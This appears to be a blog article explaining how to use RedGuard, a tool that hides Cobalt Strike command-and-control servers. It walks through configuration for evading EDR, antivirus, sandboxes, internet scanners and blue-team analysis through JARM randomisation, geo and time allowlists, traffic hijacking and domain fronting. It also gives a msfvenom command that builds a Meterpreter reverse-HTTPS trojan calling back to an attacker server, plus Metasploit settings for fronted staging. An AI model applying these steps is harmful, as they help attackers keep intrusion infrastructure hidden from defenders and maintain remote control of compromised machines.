RedGuard, a derivative tool based on command and control (C2) front flow control technology, has a lighter design, efficient traffic interaction, and reliable compatibility with development in the go programming language.As cyber attacks are constantly evolving , the red and blue team exercises become progressively more complex, RedGuard is designed to provide a better C2 channel hiding solution for the red team, that provides the flow control for the C2 channel, blocks the “malicious” analysis traffic, and better completes the entire attack task.
RedGuard is a C2 front flow control tool that can avoid Blue Team, AVS, EDR, Cyberspace Search Engine detects.
You can directly download and use the compiled version, or you can download the go package remotely for independent compilation and execution.
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
You can also use upx to compress the compiled file size
go build -ldflags “-s -w” -trimpath
Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard&&./RedGuard
As shown in the figure below, Set executable permissions and initialize RedGuard. The first run will generate a configuration file in the current user home directory to achieve flexible function configuration. Configuration file name: .RedGuard_CobaltStrike.ini.
The configuration options of cert are mainly for the configuration information of SSL certificate encrypted HTTPS communication between the sample and the C2 front infrastructure. The proxy is mainly used to configure the control options in the reverse proxy traffic. The specific use will be explained in detail below.
The SSL certificate encrypted HTTPS communication will be generated in the cert-rsa/ directory under the directory where RedGuard is executed. You can start and stop the basic functions of the tool by modifying the configuration file (the serial number of the certificate is generated according to the timestamp , don’t worry about being associated with this feature).If you want to use your own certificate,Just rename them to ca.crt and ca.key.
openssl x509 -in ca.crt -noout -text
Random TLS JARM fingerprints are updated each time RedGuard is started to prevent this from being used to authenticate C2 infrastructure.
In the case of using your own certificate, modify the HasCert parameter in the configuration file to true to prevent normal communication problems caused by the incompatibility of the CipherSuites encryption suite with the custom certificate caused by JARM obfuscation randomization.
Whether to use the certificate you have applied for true/false
HasCert = false
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard:
-DropAction string
RedGuard interception action (default “redirect”)
-EdgeHost string
Set Edge Host Communication Domain (default ““) -EdgeTarget string Set Edge Host Proxy Target (default ““)
-HasCert string
Whether to use the certificate you have applied for (default “true”)
-allowIP string
Proxy Requests Allow IP (default ““) -allowLocation string Proxy Requests Allow Location (default ““)
-allowTime string
Proxy Requests Allow Time (default ““) -common string Cert CommonName (default “.aliyun.com”)
-config string
Set Config Path
-country string
Cert Country (default “CN”)
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default “:80”)
-https string
Set Proxy HTTPS Port (default “:443”)
-ip string
IPLookUP IP
-locality string
Cert Locality (default “HangZhou”)
-location string
IPLookUP Location (default “风起”)
-malleable string
Set Proxy Requests Filter Malleable File (default “*”)
-organization string
Cert Organization (default “Alibaba (China) Technology Co., Ltd.”)
-redirect string
Proxy redirect URL (default “https://360.net”)
-type string
C2 Server Type (default “CobaltStrike”)
-u Enable configuration file modification
If you directly access the port of the reverse proxy, the interception rule will be triggered. Here you can see the root directory of the client request through the output log, but because the request does not carry the requested credentials that is the correct HOST request header, the basic interception rule is triggered, and the traffic is redirected to https://360.net
{“360.net”:”http://127.0.0.1:8080″,”360.com”:”https://127.0.0.1:4433″}
It is not difficult to see from the above slice that 360.net is proxied to the local port 8080, 360.com is proxied to the local port 4433, and the HTTP protocol used is also different. In actual use, it is necessary to pay attention to the protocol type of the listener. Consistent with the settings here, and set the corresponding HOST request header.
As shown in the figure above, in the case of unauthorized access, the response information we get is also the return information of the redirected site.
In the above basic interception case, the default interception method is used, the illegal traffic is intercepted by redirection. By modifying the configuration file, we can change the interception method and the redirected site URL. In fact, rather than calling this a redirect, I think it might be more appropriate to describe it as hijacking, cloning, since the response status code returned is 200, and the response is obtained from another website to mimic the cloned/hijacked website as closely as possible.
Invalid packets can be incorrectly routed according to three strategies:
RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
URL to redirect to
Redirect = https://360.net
Redirect = URL in the configuration file points to the hijacked URL address. RedGuard supports “hot change”, which means that while the tool is running in the background through nohup, we can still modify the configuration file. The content is started and stopped in real time
./RedGuard -u –drop true
Note that when modifying the configuration file through the command line, The -u option should not be missing, otherwise the configuration file cannot be modified successfully. If you need to restore the default configuration file settings, you only need to enter ./RedGuard -u.
It can be seen that the C2 front flow control directly close response to illegal requests without the HTTP response code. In the detection of cyberspace mapping, the DROP method can hide the opening of ports. The specific effect can be seen in the following case. analyze.
RedGuard currently supports the function of identifying cloud sandboxes based on JA3 fingerprints, which can identify and intercept network requests initiated in the cloud sandbox environment to prevent subsequent connectivity analysis, which further affects the security of C2 facilities.
The configuration of the following two parameters in the configuration file realizes the effect of changing the reverse proxy port. It is recommended to use the default port hiding as long as it does not conflict with the current server port. If it must be modified, then pay attention to the : of the parameter value not to be missing
HTTPS Reverse proxy port
Port_HTTPS = :443
HTTP Reverse proxy port
Port_HTTP = :80
The blue team tracing behavior is analyzed through the interception log of the target request, which can be used to track peer connection events/issues. The log file is generated in the directory where RedGuard is running, file name: RedGuard.log.
This section describes how to configure RG to obtain the real IP address of a request. You only need to add the following configuration to the profile of the C2 device, the real IP address of the target is obtained through the request header X-Forwarded-For.
http-config {
set trust_x_forwarded_for “true”;
}
The configuration method takes AllowLocation = Jinan, Beijing as an example. Note that RedGuard provides two APIs for reverse IP attribution, one for users in mainland China and the other for users in non-mainland China, and can dynamically assign which API to use according to the input geographical domain name, if the target is China Then use Chinese for the set region, otherwise use English place names. It is recommended that users in mainland China use Chinese names, so that the accuracy of the attribution and the response speed of the API obtained by reverse query are the best choices.
P.S. Mainland Chinese users, do not use AllowLocation = Jinan,beijing this way! It doesn’t make much sense, the first character of the parameter value determines which API to use!
Before deciding to restrict the region, you can manually query the IP address by the following command.
./RedGuard –ip 111.14.218.206
./RedGuard –ip 111.14.218.206 –location shandong # Use overseas API to query
Here we set to allow only the Shandong region to go online
egarding the connections of geographical restrictions, it may be more practical in the current offensive and defensive exercise. Basically, the targets of provincial and municipal offensive and defensive exercise restrictions are in designated areas, and the traffic requested by other areas can naturally be ignored. This function of RedGuard can not only limit a single region, but also limit multiple connection regions according to provinces and cities, and intercept the traffic requested by other regions.
In addition to the built-in IP blacklist of cybersecurity vendors in RedGuard, we can also restrict according to the whitelist method. In fact, I also suggest that during web penetration, we can restrict the online IP addresses according to the whitelist to split multiple way of IP address.
Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
This function is more interesting. Setting the following parameter values in the configuration file means that the traffic control facility can only connect from 8:00 am to 9:00 pm. The specific application scenario here is that during the specified attack time, we allow communication with C2, and remains silent at other times. This also allows the red teams to get a good night’s sleep without worrying about some blue team on duty at night being bored to analyze your Trojan and then wake up to something indescribable, hahaha.
Limit the time of requests example: AllowTime = 8:00 – 16:00
AllowTime = 8:00 – 21：00
RedGuard uses the Malleable C2 profile. It parses the provided extensible configuration file section to understand the contract and pass only those inbound requests that satisfy it, while misleading other requests. Parts such as http-stager, http-get and http-post and their corresponding uris, headers, User-Agent etc. are used to distinguish legal beacon requests from irrelevant Internet noise or IR/AV/EDR Out-of-bounds packet.
C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
As shown in the figure below, when our interception rule is set to DROP, the spatial mapping system probe will probe the / directory of our reverse proxy port several times. In theory, the request packet sent by mapping is faked as normal traffic as shown. But after several attempts, because the signature of the request packet do not meet the release requirements of RedGuard, they are all responded by Close HTTP. The final effect displayed on the surveying and mapping platform is that the reverse proxy port is not open.
The traffic shown in the figure below means that when the interception rule is set to Redirect, we will find that when the mapping probe receives a response, it will continue to scan our directory. User-Agent is random, which seems to be in line with normal traffic requests, but both successfully blocked.
RedGuard supports Domain fronting. In my opinion, there are two forms of presentation. One is to use the traditional Domain fronting method, which can be achieved by setting the port of our reverse proxy in the site-wide acceleration back-to-origin address. On the original basis, the function of traffic control is added to the domain fronting, and it can be redirected to the specified URL according to the setting we set to make it look more real. It should be noted that the RedGuard setting of the HTTPS HOST header must be consistent with the domain name of the site-wide acceleration.
In single combat, I suggest that the above method can be used, and in team tasks, it can also be achieved by self-built “Domain fronting”.
In the self-built Domain fronting, keep multiple reverse proxy ports consistent, and the HOST header consistently points to the real C2 server listening port of the backend. In this way, our real C2 server can be well hidden, and the server of the reverse proxy can only open the proxy port by configuring the firewall.
This can be achieved through multiple node servers, and configure multiple IPs of our nodes in the CS listener HTTPS online IP.
RedGuard 22.08.03 updated the edge host conection settings – custom intranet host interaction domain name, and the edge host uses the domain front CDN node interaction. This makes the information asymmetry between the two hosts, making it more difficult to trace the source and make it difficult to troubleshoot.
If there is a problem with the above method, the actual online C2 server cannot be directly intercepted by the firewall, because the actual load balancing request in the reverse proxy is made by the IP of the cloud server manufacturer.
In single combat, we can set an interception rules on the cloud server firewall.
Then set the address pointed to by the proxy to https://127.0.0.1:4433.
{“360.net”:”http://127.0.0.1:8080″,”360.com”:”https://127.0.0.1:4433″}
And because our basic verification is based on the HTTP HOST request header, what we see in the HTTP traffic is also the same as the domain fronting method, but the cost is lower, and only one cloud server is needed.
Generates Trojan
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe
Of course, as a domain fronting scenario, you can also configure your LHOST to use any domain name of the manufacturer’s CDN, and pay attention to setting the HttpHostHeader to match RedGuard.
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true
It is important to note that the OverrideRequestHost setting must be set to true. This is due to a feature in the way Metasploit handles incoming HTTP/S requests by default when generating configuration for staging payloads. By default, Metasploit uses the incoming request’s Host header value (if present) for second-stage configuration instead of the LHOST parameter. Therefore, the build stage is configured to send requests directly to your hidden domain name because CloudFront passes your internal domain in the Host header of forwarded requests. This is clearly not what we are asking for. Using the OverrideRequestHost configuration value, we can force Metasploit to ignore the incoming Host header and instead use the LHOST configuration value pointing to the origin CloudFront domain.
shadow-rs is a Windows kernel rootkit written in Rust, demonstrating advanced techniques for kernel manipulation…
Extract and execute a PE embedded within a PNG file using an LNK file. The…
Embark on the journey of becoming a certified Red Team professional with our definitive guide.…
This repository contains proof of concept exploits for CVE-2024-5836 and CVE-2024-6778, which are vulnerabilities within…
This took me like 4 days (+2 days for an update), but I got it…
MaLDAPtive is a framework for LDAP SearchFilter parsing, obfuscation, deobfuscation and detection. Its foundation is…